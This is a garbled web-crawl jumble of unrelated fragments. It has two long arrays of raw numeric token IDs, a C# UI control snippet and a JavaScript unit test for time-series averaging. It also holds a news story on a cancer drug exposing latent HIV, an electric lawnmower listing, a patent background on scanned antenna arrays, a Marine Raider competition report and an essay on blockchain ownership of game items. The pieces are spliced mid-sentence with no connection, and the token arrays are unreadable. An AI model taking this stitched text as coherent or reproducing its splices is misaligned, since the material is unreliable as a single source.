326, 18285, 249, 30469, 778, 452, 690, 12825, 2538, 285, 21198, 436, 369, 7960, 271, 2393, 14011, 273, 25720, 326, 574, 281, 320, 14859, 2007, 15, 1231, 897, 14268, 281, 5416, 368, 755, 253, 1682, 2793, 15, 2896, 970, 776, 4422, 368, 5194, 281, 776, 49391, 11981, 15, 9182, 776, 19550, 3646, 281, 923, 534, 14268, 359, 873, 285, 2139, 13, 285, 1491, 327, 849, 281, 1453, 849, 634, 9882, 26091, 14268, 15, 187, 187, 1047, 38, 5910, 3591, 416, 613, 19596, 2146, 47207, 411, 1595, 21171, 3905, 939, 78, 1017, 187, 187, 1552, 1133, 4198, 5911, 2058, 1940, 1638, 38, 39047, 5637, 23298, 78, 1017, 310, 4158, 281, 6558, 634, 23298, 281, 253, 4585, 2629, 1896, 15, 733, 556, 247, 9968, 4871, 273, 5910, 3591, 285, 721, 838, 292, 9968, 4898, 14000, 7533, 875, 2030, 2188, 285, 6879, 2188, 15, 322, 32672, 323, 247, 23298, 1979, 273, 1458, 78, 1269, 1458, 78, 15, 187, 187, 11185, 187, 187, 510, 1638, 38, 39047, 5637, 23298, 78, 1017, 310, 4158, 281, 6558, 634, 23298, 281, 253, 4585, 2629, 285, 310, 14998, 342, 3386, 281, 1056, 970, 352, 347, 5919, 285, 26757, 11722, 271, 2793, 347, 1896, 15, 187, 187, 30880, 2486, 247, 2914, 2049, 323, 271, 8655, 2624, 13, 4275, 1701, 4898, 273, 2624, 14000, 13, 247, 10583, 22738, 2120, 8113, 3497, 285, 4049, 4348, 269, 45083, 323, 3477, 23205, 273, 253, 21651, 22255, 22139, 323, 8566, 5718, 15, 187, 187, 1552, 1566, 671, 556, 271, 9909, 10581, 20173, 326, 6505, 247, 5389, 3521, 9357, 8416, 281, 634, 23298, 15, 329, 22871, 7695, 6119, 310, 671, 2908, 428, 816, 5669, 253, 22871, 348, 10358, 281, 25806, 2624, 10583, 502, 5265, 723, 715, 247, 14164, 6793, 22871, 348, 534, 310, 37470, 896, 715, 253, 23298, 347, 247, 3626, 30465, 9141, 15, 187, 187, 19364, 20173, 323, 247, 10610, 25752, 8416, 281, 253, 23298, 15, 187, 187, 20, 275, 337, 9968, 985, 27, 22729, 13, 26251, 348, 390, 416, 613, 5201, 7778, 187, 187, 3594, 515, 502, 5265, 723, 403, 37470, 896, 715, 253, 8825, 13, 10884, 9865, 23491, 285, 13868, 368, 673, 285, 2583, 2, 187, 187, 8546, 1877, 187, 187, 46, 17894, 187, 187, 8695, 8916, 24882, 187, 187, 1047, 361, 259, 24729, 187, 187, 28512, 1076, 187, 187, 28512, 1076, 39569, 187, 187, 1706, 3591, 187, 187, 28512, 1076, 34841, 187, 187, 1099, 14, 1976, 2188, 313, 23, 26598, 84, 10, 187, 187, 28512, 1076, 36506, 29702, 420, 187, 187, 33339, 1701, 187, 187, 46, 335, 7695, 187, 187, 4374, 187, 187, 46630, 2146, 187, 187, 4374, 187, 187, 48082, 187, 187, 7647, 939, 34982, 265, 187, 187, 10937, 263, 187, 187, 51, 304, 301, 4791, 47026, 187, 187, 13425, 187, 187, 1779, 34119, 187, 187, 33498, 49848, 187, 187, 7647, 939, 19662, 187, 187, 1010, 78, 1269, 1458, 78, 187, 187, 52, 33816, 29621, 187, 187, 36853, 3327, 566, 26457, 187, 187, 27115, 1241, 187, 187, 34552, 11858, 2188, 416, 613, 18672, 2188, 187, 187, 36, 494, 32569, 187, 187, 1010, 6365, 250, 187, 187, 18686, 14184, 41622, 187, 187, 2302, 187, 187, 56, 35083, 90, 187, 187, 19, 20175, 187, 187, 33658, 9, 34, 10, 36485, 187, 187, 4529, 187, 187, 22032, 187, 187, 18837, 368, 452, 667, 34839, 26286, 5001, 436, 1885, 13, 4496, 4143, 776, 6631, 10516, 4422, 387, 1108, 8280, 15, 1498, 280, 293, 750, 15, 2061, 15, 2788, 187, 187, 7456, 10516, 14516, 247, 8788, 273, 1329, 1491, 1690, 10125, 273, 776, 11595, 84, 285, 1881, 14, 13070, 22591, 323, 634, 10329, 6500, 347, 973, 347, 3057, 1491, 323, 634, 11629, 25412, 398, 665, 403, 2104, 281, 6186, 18345, 4243, 285, 8706, 3238, 15, 18, 15, 7327, 273, 253, 14723, 187, 1552, 3688, 7033, 281, 23990, 44183, 25266, 17512, 2718, 534, 11017, 387, 4142, 7938, 685, 253, 1491, 1146, 11742, 285, 625, 3782, 281, 11701, 275, 253, 2625, 16248, 42146, 273, 824, 2718, 281, 10486, 5115, 1029, 2193, 273, 26777, 6351, 285, 9712, 273, 2709, 6298, 1754, 327, 4294, 13, 673, 14, 1171, 14, 274, 49182, 285, 3884, 14, 1171, 14, 274, 49182, 15, 187, 19, 15, 11451, 273, 253, 15073, 3975, 187, 1147, 310, 4536, 11408, 281, 20486, 247, 985, 281, 4763, 512, 273, 253, 19302, 6298, 1561, 253, 11452, 434, 13789, 347, 3710, 407, 697, 7340, 285, 16992, 15, 8714, 932, 273, 1600, 403, 3798, 7119, 432, 7561, 11117, 10746, 15, 3813, 13, 2720, 2718, 452, 12845, 36585, 1907, 247, 4618, 40665, 8325, 4871, 13, 824, 347, 33039, 301, 30869, 36585, 13, 347, 253, 985, 434, 6437, 15, 187, 34, 5460, 12291, 273, 436, 2746, 310, 326, 352, 1057, 417, 9659, 36799, 6064, 273, 2709, 6298, 15, 6102, 6064, 310, 3798, 11408, 281, 3657, 6746, 8036, 273, 6298, 326, 2550, 5010, 320, 11512, 275, 4294, 390, 673, 14, 1171, 14, 30714, 1196, 15, 399, 30869, 6064, 310, 671, 11408, 275, 2219, 835, 253, 3884, 273, 9364, 273, 253, 6298, 310, 281, 320, 5998, 15, 187, 1992, 11399, 841, 23797, 13, 5795, 2720, 1445, 2718, 452, 644, 15378, 970, 6891, 14, 33312, 36585, 15, 496, 581, 1083, 13, 2709, 36585, 13, 1016, 9603, 247, 6891, 8325, 13, 403, 10912, 275, 247, 13765, 3102, 594, 326, 616, 20435, 403, 41248, 285, 1127, 44423, 22684, 15, 496, 1529, 1083, 13, 247, 2014, 23990, 3781, 17512, 310, 15378, 281, 830, 2709, 20435, 534, 403, 41248, 285, 1127, 44423, 22684, 15, 496, 1097, 2219, 13, 1016, 8325, 2245, 273, 253, 17512, 9, 84, 10, 310, 4802, 281, 247, 4858, 11452, 13, 3021, 253, 985, 476, 10738, 253, 11361, 273, 1097, 1175, 36799, 6064, 285, 3426, 13, 19645, 36799, 7031, 15, 1723, 13, 253, 18928, 275, 436, 1083, 310, 253, 1029, 2105, 273, 253, 2709, 29390, 15, 187, 8195, 966, 273, 2720, 1445, 2718, 9437, 281, 5115, 33039, 301, 30869, 7031, 342, 247, 2014 ]

Pressed); } } } protected override void OnApplyTemplate(TemplateAppliedEventArgs e) { base.OnApplyTemplate(e); Scroll = e.NameScope.Find<IScrollable>("PART_ScrollViewer"); } } } import _ from 'lodash'; import dataProcessor from '../dataProcessor'; describe('dataProcessor', () => { let ctx = {}; beforeEach(() => { ctx.datapoints = [ [[10, 1500000000000], [2, 1500000001000], [7, 1500000002000], [1, 1500000003000]], [[9, 1500000000000], [3, 1500000001000], [4, 1500000002000], [8, 1500000003000]], ]; }); describe('When apply groupBy() functions', () => { it('should return series average', () => { let aggregateBy = dataProcessor.metricFunctions['groupBy']; const avg2s = _.map(ctx.datapoints, (dp) => aggregateBy('2s', 'avg', dp)); expect(avg2s).toEqual([ [[6, 1500000000000], [4, 1500000002000]], [[6, 1500000000000], [6, 1500000002000]], ]); const avg10s = _.map(ctx.datapoints, (dp) => aggregateBy('10s', 'avg', dp)); expect(avg10s).toEqual([ [[5, 1500000000000]], [[6, 1500000000000]], ]); // not aligned const dp = [[10, 1500000001000], [2, 1500000002000], [7, 1500000003000], [1, 1500000004000]]; expect(aggregateBy('2s', 'avg', dp)).toEqual([ [10, 1500000000000], [4.5, 1500000002000], [1, 1500000004000] ]); }); }); describe('When apply aggregateBy() functions', () => { it('should return series average', () => { let aggregateBy = dataProcessor.metricFunctions['aggregateBy']; const avg1s = aggregateBy('1s', 'avg', ctx.datapoints); expect(avg1s).toEqual([ [9.5, 1500000000000], [2.5, 1500000001000], [5.5, 1500000002000], [4.5, 1500000003000] ]); const avg10s = aggregateBy('10s', 'avg', ctx.datapoints); expect(avg10s).toEqual([ [5.5, 1500000000000] ]); }); }); }); Cancer drug flushes out lurking AIDS virus This file picture taken under a microscope shows the HIV 1 virus burgeoning on a lymphocyte. SCIENTISTS in the United States says they have used a cancer drug to flush out the AIDS virus lurking dormant in trial patients' white blood cells - a tentative step towards a cure. The ability of the HIV genome, or reproductive code, to hide out in cells and be revived after decades poses a major obstacle in the quest for a cure.Being able to expose the virus in its hiding place would allow scientists to target the host white blood cells in a killing blitz."It is the beginning of work toward a cure for AIDS," David Margolis, co-author of the study published in the journal Nature, told AFP as the International AIDS Conference was under way in Washington.HIV is a retrovirus, inserting its DNA into the genome of host white blood cells, CD4+T cells in this case, and turning them into virus factories. Sometimes it goes into hiding in some cells even as others keep on producing. Some 34 million people around the world are living with HIV, which destroys the immune system and has caused about 30 million AIDS-related deaths since the disease first emerged in the early 1980s.In the latest study, researchers in the United States used the chemotherapy drug vorinostat to revive and so unmask latent HIV in the CD4+T cells of eight trial patients.The patients were also on antiretroviral drugs, which stops HIV from multiplying but have to be taken for life because they do not kill the virus hidden away in reservoirs."After a single dose of the drug, at least for a moment in time, (vorinostat) is flushing the virus out of hiding," Margolis said of the trial results - the first drug ever shown to do so."This is proof of the concept, of the idea that the virus can be specifically targeted in a patient by a drug, and essentially opens up the way for this class of drugs to be studied for use in this way."The drug targets an enzyme that allows the virus to lie latent.The researchers cautioned that vorinostat may have some toxic effects and stressed this was merely an early indication of feasibility that had to be explored further.We use cookies to ensure you get the best experience. By using our website you agree to our Cookie Policy. View our cookie policy to see which cookies we set and why, and information on how to control how your browser manages cookies. 14E 34cm Rear Roller 1400 Watt Electric Lawnmower This hand propelled Atco 14E mains electric lawnmower is designed to maintain your lawn to the highest standard possible. It has a cutting width of 34cm and 6 preset cutting height adjustment settings between 25mm and 75mm. Suitable for a lawn size of 15m x 15m. Description The 14E mains electric lawnmower is designed to maintain your lawn to the highest standard and is packed with features to make using it as efficient and pleasurable an experience as possible. Features include a front comb for an enhanced cut, centralised height of cut adjustment, a grassbag full vision window and camlock fittings for easy folding of the ergonomic handles for compact storage. This model also has an integral rear roller that leaves a beautiful striped finish to your lawn. A mulching kit is also included - just insert the mulch plug to finely cut grass clippings into a nitrogen rich mulch which is recycled back into the lawn as a natural fertiliser. Rear roller for a classic stripped finish to the lawn. 3 in 1 cutting system: Collect, Mulch or Rear Discharge Grass clippings are recycled back into the soil, returning valuable nutrients and saving you time and money! Specification Motor Net Power Output 1400 watts Cutting Cutting Width 34cm Cutting Heights 25-75mm (6 Positions) Cutting Height Adjustment Centralised Mulching Yes Roller Yes Finish Lawn Stripes Collector Rigid 35 litres General Chassis Polypropylene Lawn Size 15m x 15m Safety Features Operator Presence Switch Wheels Front 140mm Rear 170mm Cable Length 15 Metre Home Assembly Required No Warranty 2 Years dB(A) Rating 92 Support Should you have any enquiries regarding this product, please visit our ServiceLink website at – www.servicelink.org.uk ServiceLink hosts a wealth of support information including copies of our manuals and self-help guides for your garden equipment as well as contact information for your Local Dealers who are able to supply spare parts and repair services.1. Field of the Invention This invention relates to cylindrical electronically scanned antenna systems which scan at rates faster than the information being processed and more particularly to improvements in the signal combining subsystem of such systems to simultaneously achieve high values of directive gain and separation of multiple signals based on frequency, time-of-arrival and direction-of-arrival. 2. Description of the Related Art It is sometimes desirable to configure a system to receive all of the electromagnetic signals within the receiver's capabilities as limited by its sensitivity and bandwidth. Signals of interest are usually incident from widely diverse directions. Therefore, prior systems have utilized antennas having a wide azimuth beam width, such as omnidirectional antennas, as the system's receptor. A severe limitation of this approach is that it does not permit directional resolution of multiple signals. Such resolution is usually desirable to prevent garbling of signals that cannot otherwise be resolved in frequency or time-of-occurrence. Directional resolution is also desirable in cases where the direction of incidence of the signals is to be estimated. To overcome these disadvantages, alternative prior art systems have been configured using narrow-beam antennas. In one case, multiple antennas, each producing a narrow beam, are arranged in a circular pattern so that their beams are contiguous and point radially outward. In another case, a single cylindrical array antenna is configured to form multiple beams which are contiguous and point radially outward. In both cases, each beam port of the antenna(s) is connected to a separate receiver, thus the system can exhibit the advantages of both good directional resolution and complete, simultaneous directional coverage. However, the disadvantage in this case is the high cost of the multiple receivers. Another class of prior art systems attempts to achieve omnidirectional coverage with a single

[ 3517, 4763, 3884, 327, 1880, 597, 1364, 2075, 323, 673, 5262, 1053, 920, 285, 513, 567, 272, 253, 12317, 15, 1623, 5080, 655, 13, 4072, 13, 253, 530, 15, 52, 15, 6413, 2111, 7169, 2278, 1051, 3062, 187, 187, 11, 3378, 43565, 13, 368, 1053, 626, 878, 281, 2794, 247, 4858, 16164, 281, 8722, 634, 1959, 34166, 5887, 376, 2395, 13, 285, 359, 476, 1056, 13991, 1754, 327, 634, 3198, 285, 6284, 15, 844, 588, 417, 1501, 2712, 327, 43565, 275, 634, 1416, 15, 2207, 13, 861, 598, 970, 634, 4579, 2953, 15, 21056, 8339, 187, 187, 1231, 5580, 4166, 3580, 285, 6313, 14795, 275, 10713, 13, 387, 247, 1077, 5272, 285, 8408, 6051, 4376, 15, 844, 403, 4704, 281, 5752, 776, 11349, 973, 15, 4923, 253, 13212, 273, 776, 7731, 310, 776, 4736, 15, 3166, 816, 581, 2136, 342, 441, 13, 285, 359, 9023, 368, 651, 1705, 896, 969, 15, 322, 1314, 3326, 76, 1051, 9067, 273, 826, 438, 494, 13212, 2, 537, 1992, 17358, 285, 896, 27, 380, 6247, 18671, 11605, 1334, 38692, 187, 187, 2374, 3978, 1249, 13, 34913, 432, 2439, 253, 18671, 17729, 457, 2714, 5871, 5085, 13037, 275, 8647, 2070, 5173, 2517, 13, 3729, 9756, 13, 281, 10078, 275, 253, 6247, 18671, 11605, 1334, 38692, 15, 187, 187, 25347, 6671, 13, 1016, 17224, 273, 2800, 946, 38322, 34913, 13, 29177, 323, 253, 18735, 273, 1146, 11941, 253, 4060, 273, 1682, 18671, 11605, 1334, 15, 380, 2800, 6671, 46156, 432, 253, 337, 296, 18671, 11605, 1334, 35843, 313, 18, 296, 11928, 35, 582, 374, 2109, 18671, 11605, 1334, 35843, 313, 19, 2109, 11928, 35, 582, 495, 5784, 18671, 11605, 1334, 35843, 313, 20, 5784, 11928, 35, 582, 253, 18671, 11605, 1334, 19036, 5197, 313, 46, 46490, 582, 285, 253, 374, 2109, 1720, 585, 34056, 35843, 13, 2975, 15, 187, 187, 1628, 510, 33272, 9904, 342, 253, 4757, 3058, 323, 690, 273, 253, 3394, 369, 581, 273, 253, 954, 2891, 272, 4243, 273, 253, 7324, 1806, 753, 247, 18671, 11605, 1334, 342, 253, 353, 46490, 2285, 13, 665, 671, 11029, 347, 271, 6803, 285, 5438, 313, 34, 7, 52, 10, 2659, 15034, 30498, 13, 275, 247, 3908, 281, 45183, 15782, 15, 773, 53, 11729, 281, 13870, 9361, 285, 1056, 2119, 359, 497, 11850, 48129, 4768, 253, 3394, 1223, 13383, 949, 512, 253, 913, 1041, 285, 31991, 369, 253, 954, 23198, 3405, 1699, 4809, 1425, 187, 187, 510, 5962, 5691, 273, 253, 7324, 369, 247, 1458, 14, 25430, 391, 1807, 14172, 268, 554, 11712, 342, 2710, 8892, 285, 5216, 15, 380, 6671, 574, 281, 2589, 4073, 9602, 13, 1517, 5250, 5216, 13, 15120, 555, 39774, 13, 41243, 1981, 275, 1503, 351, 14427, 2157, 17980, 19750, 13, 285, 18737, 3485, 15, 28786, 253, 2709, 3394, 13, 1016, 32048, 4824, 247, 391, 9984, 471, 27466, 247, 5927, 273, 5329, 12511, 13, 5043, 616, 11757, 3301, 15, 187, 187, 1628, 3039, 352, 2210, 281, 13828, 13, 776, 5962, 5691, 369, 4560, 10599, 673, 281, 6194, 1806, 2879, 253, 329, 7, 52, 2659, 15034, 30498, 432, 253, 353, 46490, 2285, 15, 773, 1231, 1694, 4352, 342, 690, 22414, 984, 273, 326, 13, 533, 359, 858, 776, 1682, 281, 13791, 342, 1016, 643, 285, 1361, 1016, 643, 949, 253, 3394, 1425, 187, 187, 1628, 39204, 275, 359, 497, 16764, 281, 320, 253, 22583, 2285, 1806, 753, 28150, 13187, 12324, 5744, 284, 432, 253, 374, 2109, 1720, 585, 34056, 35843, 2285, 15, 773, 42, 1158, 359, 2210, 562, 273, 253, 7394, 1512, 2266, 13, 534, 5876, 441, 18123, 984, 359, 3053, 281, 2740, 745, 247, 1652, 285, 755, 44317, 456, 13, 533, 9142, 13, 359, 497, 2104, 281, 1691, 776, 13846, 2366, 387, 1016, 2362, 285, 1361, 581, 1529, 755, 949, 253, 7881, 1425, 187, 187, 510, 18671, 11605, 1334, 38692, 310, 271, 7970, 2362, 17386, 407, 18671, 10396, 27037, 15755, 313, 46, 15286, 3231, 10, 342, 253, 4736, 273, 25243, 2158, 4049, 274, 6475, 466, 285, 5175, 253, 15942, 13789, 273, 697, 9158, 15, 353, 15286, 3231, 310, 2872, 2429, 281, 697, 7586, 946, 38322, 13896, 15, 2058, 2145, 1107, 1711, 13, 253, 3923, 556, 11372, 1142, 7881, 275, 21414, 28393, 982, 1128, 15617, 1561, 253, 18671, 17729, 285, 3345, 1128, 1171, 697, 11839, 285, 12510, 15, 2091, 4130, 310, 11771, 323, 39443, 35905, 13, 326, 16326, 457, 85, 3477, 15, 187, 187, 27260, 2460, 27, 9704, 1050, 4597, 8941, 26615, 10396, 24495, 29668, 4670, 285, 34913, 342, 337, 296, 18671, 11605, 1334, 15185, 35843, 2589, 4866, 281, 247, 8565, 272, 24380, 323, 247, 1698, 28036, 5926, 501, 1135, 314, 387, 18671, 17729, 15939, 3660, 17937, 19036, 5197, 13, 15454, 631, 13, 34280, 904, 3747, 608, 13, 4765, 15, 380, 4096, 273, 436, 3733, 369, 323, 8663, 10396, 24495, 285, 353, 15286, 3231, 281, 3157, 2220, 616, 6036, 3733, 5609, 15, 313, 54, 15, 52, 15, 18671, 17729, 7512, 407, 35463, 330, 446, 15, 7252, 775, 13464, 481, 1909, 4767, 1840, 13, 359, 3839, 5194, 342, 3619, 457, 84, 13650, 1905, 46458, 13, 326, 9790, 313, 395, 7826, 25866, 10, 273, 952, 588, 3517, 6233, 616, 3811, 12718, 432, 4882, 3492, 3958, 15, 309, 717, 1469, 281, 5645, 2007, 2220, 436, 2934, 285, 1804, 326, 27, 187, 187, 3546, 13623, 2032, 12851, 273, 2165, 2600, 778, 320, 247, 625, 16571, 2136, 1566, 685, 12259, 10054, 3773, 3587, 313, 21470, 14, 936, 14, 1993, 10, 187, 187, 11159, 320, 247, 625, 16571, 2136, 1566, 685, 12259, 10054, 3773, 3587, 313, 21470, 14, 936, 14, 1993, 10, 9225, 2821, 40178, 342, 2032, 12851, 556, 253, 2442, 281, 5115, 247, 2074, 6454, 347, 21312, 20233, 33224, 313, 54, 6159, 10, 187, 187, 9, 54, 6159, 10, 49164, 310, 253, 4619, 11319, 2424, 323, 436, 3368, 281, 9302, 187, 187, 5088, 20659, 4249, 187, 187, 18712, 187, 187, 5088, 12851, 310, 11410, 672, 3773, 452, 2120, 1453, 273, 253, 2600, 273, 616, 16791, 2793, 13, 1690, 616, 1323, 255, 1032, 13, 31302, 708, 6936, 13, 275, 14, 13197, 4957, 13, 8115, 13, 285, 643, 2840, 5904, 15, 1310, 247, 4760, 556, 2032, 12851, 273, 841, 4957, 13, 597, 403, 1959, 281, 2589, 512, 3510, 273, 19938, 342, 731, 1905, 4489, 13, 5580, 13, 3894, 13, 8845, 13, 5454, 13, 3966, 327, 1097, 3625, 285, 6561, 10169, 15, 20929, 943, 1014, 320, 1959, 281, 1395, 616, 4957, 432, 581, 2165, 715, 1529, 15, 187, 187, 688, 32392, 323, 388, 603, 13, 3619, 26295, 326, 1524, 1318, 588, 320, 5611, 715, 30355, 3066, 247, 5087, 14, 936, 14, 1993, 1566, 13, 17580, 2165, 22507, 13, 275, 271, 3434, 281, 6427, 1943, 6947, 398, 13, 588, 2075, 3773, 281, 10078, 275, 616, 7503, 20490, 3066, 20929, 6724, 1075, 496, 1154, 1644, 313, 3175, 2513, 481, 831, 651, 8069, 9569, 247, 11419, 14, 40744, 90, 281, 247, 2165, 13, 275, 534, 3773, 588, 452, 281, 7617, 27, 403, 597, 625, 7514, 342, 21337, 275, 14, 13197, 2600, 313, 30758, 10, 390, 22915, 4653, 2513, 313, 21107, 481, 187, 187, 47, 28147, 13, 4633, 3958, 651, 452, 247, 30868, 6186, 273, 3773, 15, 11578, 14, 3319, 408, 5820, 1905, 665, 403, 253, 954, 18439, 281, 6233, 247, 3811, 275, 7503, 27931, 1905, 651, 320, 8877, 281, 1132, 253, 1878, 4633, 3958, 984, 22507, 273, 4633, 3958, 651, 8968, 597, 642, 3356, 878, 281, 2075, 3773, 15, 187, 187, 2042, 654, 17, 15, 1099, 6, 273, 3773, 1056, 625, 685, 2716, 273, 512, 275, 14, 13197, 21754, 13, 840, 22507, 651, 760, 320, 15210, 400, 1025, 281, 2075, 247, 2176, 1180, 273, 3773, 281, 1132, 1919, 253, 1180, 273, 3773, 642, 3356, 3012, 16274, 849, 1199, 11784, 253, 2165, 15693, 15, 1310, 597, 2075, 1512, 1142, 3773, 13, 597, 588, 7168, 2583, 15, 187, 187, 23045, 398, 651, 8968, 247, 1127, 273, 48245, 6548, 275, 253, 5087, 14, 936, 14, 1993, 1566, 15, 733, 310, 13, 2299, 13, 760, 247, 1127, 273, 48245, 6548, 275, 253, 11419, 14, 40744, 90, 28, 417, 253, 275, 14, 13197, 6982, 13, 3139, 15, 6365, 1179, 453, 457, 84, 5405, 651, 1804, 326, 253, 275, 14, 13197, 6982, 651, 2686, 4035, 281, 2572, 275, 1318, 347, 625, 3773, 10078, 15, 187, 187, 510, 625, 3773, 13, 253, 625, 15018, 2226, 323, 275, 14, 13197, 4491, 285, 5454, 15, 2726, 2032, 12851, 13, 3773, 812, 6233, 247, 3811, 1293, 22128, 327, 253, 7830, 432, 247, 2014, 36409, 10726, 13, 751, 253, 2165, 22507, 15, 187, 187, 2042, 22507, 15616, 616, 2136, 1566, 594, 616, 11528, 1430, 8899, 8394, 366, 281, 253, 275, 14, 13197, 6982, 13, 840, 597, 651, 1620, 4352, 253, 1127, 273, 48245, 6548, 342, 1675, 281, 2608, 16253, 1905, 597, 812, 1756, 616, 2608, 14, 4793, 519, 2192, 4478, 360, 15, 1244, 604, 597, 497, 2104, 281, 8495, 616, 1566, 594, 3773, 2750, 2166, 432, 253, 3116, 273, 253, 275, 14, 13197, 6982, 13, 347, 973, 13, 840, 4212, 812, 1132, 616, 7583, 2165, 285, 6233, 247, 3811, 387, 253, 1072, 673, 15, 187, 187, 4041, 1332, 273, 17170, 12420, 949, 3116, 310, 407, 17690, 2032, 12851, 1561, 247, 2165, 15, 1310, 247, 4760, 9716, 271, 275, 14, 13197, 5382, 13, 824, 347, 247, 14228, 13, 253, 11803, 651, 4745, 6635, 11784, 15, 1292, 604, 326, 4760, 7777, 9633, 521, 390, 617, 14228, 13, 285, 604, 253, 2165, 8899, 275, 18395, 689, 673, 13, 840, 326, 4760, 651, 320, 2104, 281, 5580, 616, 14228, 387, 247, 1996, 3522, 1905, 6830, 323, 247, 11528, 15, 831, 651, 320, 10870, 281, 11280, 247, 1728, 275, 247, 43377, 2846, 15, 187, 187, 49649, 812, 11377, 275, 19461, 3510, 273, 6431, 15, 380, 14228, 7302, 13, 323, 1650, 13, 812, 8845, 253, 14228, 281, 643, 3773, 1223, 327, 18125, 390, 387, 789, 281, 6233, 16864, 6021, 15, 41486, 812, 25057, 841, 23261, 13, 347, 973, 13, 281, 19444, 23499, 6297, 281, 6635, 11784, 15, 6000, 673, 253, 14228, 310, 24191, 1905, 1014, 327, 6561, 10169, 1905, 597, 812, 4908, 247, 8723, 9801, 15, 20564, 13, 597, 812, 5206, 281, 760, 4908, 247, 9801, 604, 253, 4760, 15693, 247, 11528, 327, 253, 5454, 28, 604, 253, 14228, 27924, 323, 1679, 685, 352, 369, 8686, 13, 253, 6431, 310, 16481, 354, 10163, 80, 15, 9613, 253, 2165, 310, 8027, 13, 22507, 812, 1014, 873, 9255, 247, 1781, 13, 3367, 15917, 273, 41045, 281, 288, 351, 77, 13, 534, 651, 760, 2489, 9865, 604, 3773, 3407, 11947, 342, 352, 15, 380, 12420, 273, 2032, 12851, 20096, 1097, 3773, 285, 22507, 6635, 247, 11528, 2366, 672, 247, 2165, 5459, 275, 18395, 15, 187, 187, 49194, 20233, 33224, 187, 187, 18712, 187, 187, 2512, 403, 2710, 13991, 323, 849, 21312, 20233, 33224, 313, 54, 6159, 10, 812, 320, 9009, 13, 533, 275, 3762, 530, 6159, 310, 247, 1511, 273, 15519, 2086, 275, 534, 512, 5014, 273, 247, 1798, 6982, 390, 5948, 403, 7169, 247, 5927, 13, 49795, 16610, 15, 187, 187, 2042, 1698, 14, 3319, 2591, 5820, 403, 1469, 281, 3469, 2220, 3492, 3958, 347, 247, 3625, 2603, 273, 6021, 13, 840, 352, 310, 4409, 7296, 253, 4500, 273, 20864, 1633, 751, 247, 530, 6159, 1561, 247, 2165, 457, 84, 7503, 6982, 347, 247, 5122, 273, 24682, 3773, 457, 36424, 15, 187, 187, 20810, 13, 352, 457, 84, 2834, 281, 4271, 667, 1655, 13, 5164, 6667, 273, 530, 6159, 984, 597, 403, 4829, 512, 17697, 275, 690, 1039, 15, 380, 20829, 367, 47605, 10980, 310, 3164, 253, 954, 8530, 1650, 273, 247, 16293, 6021, 13, 17580, 512, 8811, 273, 20829, 403, 33075, 247, 3963, 7970, 2075, 483, 13, 534, 556, 644, 875, 370, 18, 13, 933, 285, 370, 19, 13, 933, 591, 807, 323, 253, 1390, 9976, 15, 380, 2583, 908, 281, 12215, 253, 3187, 3249, 432, 247, 2030, 6, 2891, 327, 253, 1375, 457, 84, 4166, 3275, 15, 496, 643, 3000, 13, 8811, 6233, 247, 43690, 1754, 327, 247, 29967, 7741, 15, 187, 187, 1147, 457, 84, 417, 4555, 247, 14121, 494, 16610, 323, 3095, 275, 247, 3715, 5674, 13, 533, 352, 310, 271, 1650, 273, 16293, 6021, 13, 23188, 15, 380, 3187, 556, 644, 275, 1659, 1580, 13563, 15, 187, 187, 1147, 310, 39189, 13, 840, 13, 281, 1333, 326, 530, 6159, 310, 4931, 247, 2372, 273, 247, 3731, 79, 8056, 15, 20829, 457, 84, 367, 47605, 10980, 310, 25711, 253, 954, 5547, 285, 20088, 3515, 2086, 326, 948, 17815, 1633 ]

soon receive direction on whether they must pay for time spent donning and doffing the gear. On February 19, 2013, the U.S. Supreme Court granted review...more *With LinkedIn, you don't need to create a separate login to manage your free JD Supra account, and we can make suggestions based on your needs and interests. We will not post anything on LinkedIn in your name. Or, sign up using your email address.Contact Information We sell oil products and pure honey in bulk, at a very reasonable and negotiable price. We are ready to serve our consumers well. Because the satisfaction of our customer is our goal. Do just one business with us, and we promise you would come back again. Smedrotek... Home of laudable satisfaction!..To Hell and back: The 2019 Marine Raider Competition On June 12, Marines from across the Marine Corps’ special operations units gathered in Camp Lejeune, North Carolina, to participate in the 2019 Marine Raider Competition. Six teams, each comprised of six spec ops Marines, competed for the glory of being awarded the title of best Marine Raider. The six teams hailed from the 1st Marine Raider Battalion (1st MRB), 2nd Marine Raider Battalion (2nd MRB), 3rd Marine Raider Battalion (3rd MRB), the Marine Raider Training Center (MRTC), and the 2nd Reconnaissance Battalion, respectively. “The endurance coupled with the strength needed for some of the events was one of the most taxing parts of the competition,” said a Marine Raider with the MRTC team, who also serves as an assessment and selection (A&S) land navigation instructor, in a statement to DVIDS. “Trying to pace ourselves and make sure we were maintaining hydration throughout the events while pushing through all the aches and pains was the most mentally straining aspect.” The biggest challenge of the competition was a 15-mile ruck march peppered with various tasks and tests. The teams had to conduct stress shooting, breaching tests, casualty evacuation, paddling in Zodiac inflatable boats, and rappelling. Throughout the multiple events, each competitor carried a rucksack weighing a minimum of 45 pounds, plus their combat load. “When it came to preparing, our biggest challenge was finding adequate time to train,” added the A&S land navigation instructor from the MRTC team. “We got hit with some penalties because of that, but we did our best to communicate with each other and help each other through the events.” “Going in we were expecting to be the fastest team,” said Sergeant Adam Terrazas from the 2nd Reconnaissance Battalion team. “I think we came out of the gate too strong, which affected us negatively because we started to break off a little and get dehydrated, but ultimately, we were able to put our minds together at each event and help one another get through the challenges.” The Marine Raider Competition is an annual event hosted by Marine Special Operations Command (MARSOC) with the goal of fostering camaraderie and testing the operational capabilities of its operators. MARSOC is young compared to its sister spec ops commands. At 13 years old, the command has faced many challenges in convincing skeptics—both within the Marine Corps and outside—of its utility and effectiveness. When everyone is competing for shrinking budgets, that ain’t easy. Feature image: Operational Detachment Alpha Special Forces Soldiers and Marines with 1st Marine Raider Support Battalion conduct movement to a Landing Zone for a low altitude drop resupply at Marine Corps Mountain Warfare Training Center, Bridgeport, Calif., Aug 5, 2018. The purpose of this training was for Army Special Forces and MARSOC to improve upon their joint training techniques. (U.S. Marine Corps photo by Lance Cpl. William Chockey).As stated above, we generally agree with Ed’s predictions —specifically, that millions (and potentially billions) of people will soon earn their living solely from playing video games. I am going to expand further upon this idea and suggest that: Enabling true ownership of game content may be a more viable business model than developers paying players directly (paid-to-play) may be a more viable business model than developers paying players directly (paid-to-play) Providing gamers with true ownership has the potential to achieve a similar outcome as Universal Basic Income (UBI) (UBI) Blockchain is the critical infrastructure required for this experiment to succeed True Ownership Definition True ownership is enabled when players have full control of the content of their gaming experience, including their avatars, XP & skills, in-game items, maps, and other customizations. If a player has true ownership of these items, they are free to conduct all types of commerce with them — buy, sell, share, rent, trade, etc on both primary and secondary markets. Player 